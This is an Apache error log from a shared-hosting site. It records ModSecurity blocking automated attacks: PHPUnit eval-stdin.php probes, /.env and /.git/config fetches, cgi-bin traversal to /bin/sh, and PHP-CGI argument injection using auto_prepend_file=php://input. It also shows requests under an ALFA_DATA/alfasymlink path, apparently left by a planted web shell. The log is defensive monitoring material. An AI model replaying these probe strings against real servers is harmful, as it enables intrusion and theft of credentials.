[Sat Oct 24 20:43:18.418981 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtugwAAACk"]
[Sat Oct 24 20:43:18.419433 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtugwAAACk"]
[Sat Oct 24 20:43:18.420277 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpt3lMH_Ldre-PZtugwAAACk"]
[Sat Oct 24 20:43:18.594860 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Match of "rx ^0?$" against "REQUEST_HEADERS:Content-Length" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "143"] [id "920170"] [rev "1"] [msg "GET or HEAD Request with Body Content."] [data "33"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtuhAAAACk"]
[Sat Oct 24 20:43:18.595291 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"] [unique_id "at1Qpt3lMH_Ldre-PZtuhAAAACk"]
[Sat Oct 24 20:43:18.596075 2026] [security2:error] [pid 2693035:tid 2693035] [client 89.126.211.166:38132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): GET or HEAD Request with Body Content."] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1Qpt3lMH_Ldre-PZtuhAAAACk"]
[Sat Oct 24 20:43:26.343985 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 54.235.191.179:29720] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:43:38.266834 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 98.84.60.17:48835] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/pci-stub/uevent
[Sat Oct 24 20:43:42.669017 2026] [security2:error] [pid 2692979:tid 2692979] [client 199.165.159.33:29572] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "157"] [id "920180"] [rev "1"] [msg "POST request missing Content-Length Header."] [data "0"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [tag "CAPEC-272"] [hostname "162.216.113.238"] [uri "/"] [unique_id "at1QvvavbqLdB7btCU-9xgAAABc"]
[Sat Oct 24 20:43:46.196990 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 18.208.11.93:45026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:43:55.762353 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.194:13980] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/sysfillrect/sections/__ksymtab
[Sat Oct 24 20:43:58.155015 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.226.106.93:11652] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:44:22.189973 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 34.196.237.236:55017] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:44:26.167707 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 18.232.11.247:32726] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:44:32.381822 2026] [core:error] [pid 2733464:tid 2733464] (13)Permission denied: [client 85.208.96.195:52320] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-8k/sanity_checks
[Sat Oct 24 20:44:34.188357 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.235.239.240:33233] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:44:38.168177 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.231.156.59:17063] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:44:46.265566 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 44.210.204.255:13944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:44:57.395318 2026] [security2:error] [pid 2692918:tid 2692918] [client 130.12.180.176:44234] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1RCbUNAjBk2uOT2T-G8QAAAAo"]
[Sat Oct 24 20:44:57.395562 2026] [security2:error] [pid 2692918:tid 2692918] [client 130.12.180.176:44234] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1RCbUNAjBk2uOT2T-G8QAAAAo"]
[Sat Oct 24 20:44:57.395877 2026] [security2:error] [pid 2692918:tid 2692918] [client 130.12.180.176:44234] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hosp4.sherwinpinturas.com"] [uri "/.env"] [unique_id "at1RCbUNAjBk2uOT2T-G8QAAAAo"]
[Sat Oct 24 20:44:58.890538 2026] [security2:error] [pid 2707149:tid 2707149] [client 199.165.159.33:9636] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at1RCjr66i8lbh-yPykD-QAAAAA"]
[Sat Oct 24 20:44:58.890849 2026] [security2:error] [pid 2707149:tid 2707149] [client 199.165.159.33:9636] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/.git/config"] [unique_id "at1RCjr66i8lbh-yPykD-QAAAAA"]
[Sat Oct 24 20:44:58.891891 2026] [security2:error] [pid 2707149:tid 2707149] [client 199.165.159.33:9636] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "at1RCjr66i8lbh-yPykD-QAAAAA"]
[Sat Oct 24 20:45:26.148419 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.203.68.145:60217] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:45:34.129431 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 3.225.9.97:36668] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:45:42.215512 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 52.3.102.51:29597] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/firmware_node/device:18/eject
[Sat Oct 24 20:45:44.330602 2026] [core:error] [pid 2731612:tid 2731612] (13)Permission denied: [client 185.191.171.17:12292] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inet_peer_cache/slabs_cpu_partial
[Sat Oct 24 20:45:46.331033 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 98.83.178.66:40859] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:09/subsystem/devices/device:07/eject
[Sat Oct 24 20:45:50.141840 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.71.216.196:17494] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:45:50.142066 2026] [security2:error] [pid 2692979:tid 2692979] [client 52.71.216.196:17494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input4/mouse0/subsystem/event0/subsystem/event2/device/capabilities/rel"] [unique_id "at1RPvavbqLdB7btCU-92QAAABc"]
[Sat Oct 24 20:45:50.142105 2026] [security2:error] [pid 2692979:tid 2692979] [client 52.71.216.196:17494] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/input4/mouse0/subsystem/event0/subsystem/event2/device/capabilities/rel"] [unique_id "at1RPvavbqLdB7btCU-92QAAABc"]
[Sat Oct 24 20:45:54.271941 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 54.166.126.132:15363] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:45:58.168510 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 52.21.62.139:11422] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:02.155727 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.195.50.71:20369] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:06.169451 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 54.80.73.122:54912] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:10.153496 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 18.232.36.1:35462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:18.213898 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 34.231.118.144:2690] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:22.171031 2026] [ssl:error] [pid 2731612:tid 2731612] (70014)End of file found: [client 34.231.118.144:64960] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:26.306508 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.206.93.215:48628] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:42.144327 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 3.212.219.113:11018] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:46.175414 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.235.172.108:28601] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:46:52.517809 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 185.191.171.14:41340] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/objects
[Sat Oct 24 20:46:54.158256 2026] [core:error] [pid 2731598:tid 2731598] (13)Permission denied: [client 18.205.127.11:32031] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:03.0/firmware_node/physical_node/subsystem/uevent
[Sat Oct 24 20:47:02.182968 2026] [ssl:error] [pid 2733464:tid 2733464] (70014)End of file found: [client 50.19.102.70:35055] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:06.272415 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.93.98.99:4568] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:18.151067 2026] [ssl:error] [pid 2731598:tid 2731598] (70014)End of file found: [client 52.2.191.202:62816] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:18.151295 2026] [security2:error] [pid 2731598:tid 2731598] [client 52.2.191.202:62816] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/virtual/mem/port/subsystem/full/subsystem/zero/dev"] [unique_id "at1RlkCehrQoNuVtn8-OtAAAAAM"]
[Sat Oct 24 20:47:18.151322 2026] [security2:error] [pid 2731598:tid 2731598] [client 52.2.191.202:62816] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/virtual/mem/port/subsystem/full/subsystem/zero/dev"] [unique_id "at1RlkCehrQoNuVtn8-OtAAAAAM"]
[Sat Oct 24 20:47:26.206958 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 52.45.77.169:59689] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:30.364411 2026] [proxy_fcgi:error] [pid 2733464:tid 2733464] [client 18.204.152.114:12841] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 20:47:34.141632 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 54.83.180.239:54636] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:35.622122 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 85.208.96.202:28406] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/objects
[Sat Oct 24 20:47:38.145036 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.89.90.224:11325] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:46.058474 2026] [core:error] [pid 2684583:tid 2684583] [client 184.154.245.42:40026] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Sat Oct 24 20:47:46.149619 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.213.240.226:41182] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 20:47:46.156640 2026] [core:error] [pid 2731598:tid 2731598] [client 184.154.245.42:40040] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Sat Oct 24 20:47:46.251555 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at1Rst3lMH_Ldre-PZtujgAAACk"]
[Sat Oct 24 20:47:46.251669 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at1Rst3lMH_Ldre-PZtujgAAACk"]
[Sat Oct 24 20:47:46.252349 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at1Rst3lMH_Ldre-PZtujgAAACk"]
[Sat Oct 24 20:47:46.252637 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "at1Rst3lMH_Ldre-PZtujgAAACk"]
[Sat Oct 24 20:47:46.306745 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at1Rst3lMH_Ldre-PZtujwAAACk"]
[Sat Oct 24 20:47:46.306814 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at1Rst3lMH_Ldre-PZtujwAAACk"]
[Sat Oct 24 20:47:46.307257 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at1Rst3lMH_Ldre-PZtujwAAACk"]
[Sat Oct 24 20:47:46.307517 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at1Rst3lMH_Ldre-PZtujwAAACk"]
[Sat Oct 24 20:47:46.349546 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukAAAACk"]
[Sat Oct 24 20:47:46.349612 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukAAAACk"]
[Sat Oct 24 20:47:46.350114 2026] [security2:error] [pid 2693035:tid 2693035] [client 184.154.245.42:40050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "at1Rst3lMH_Ldre-PZtukAAAACk"]
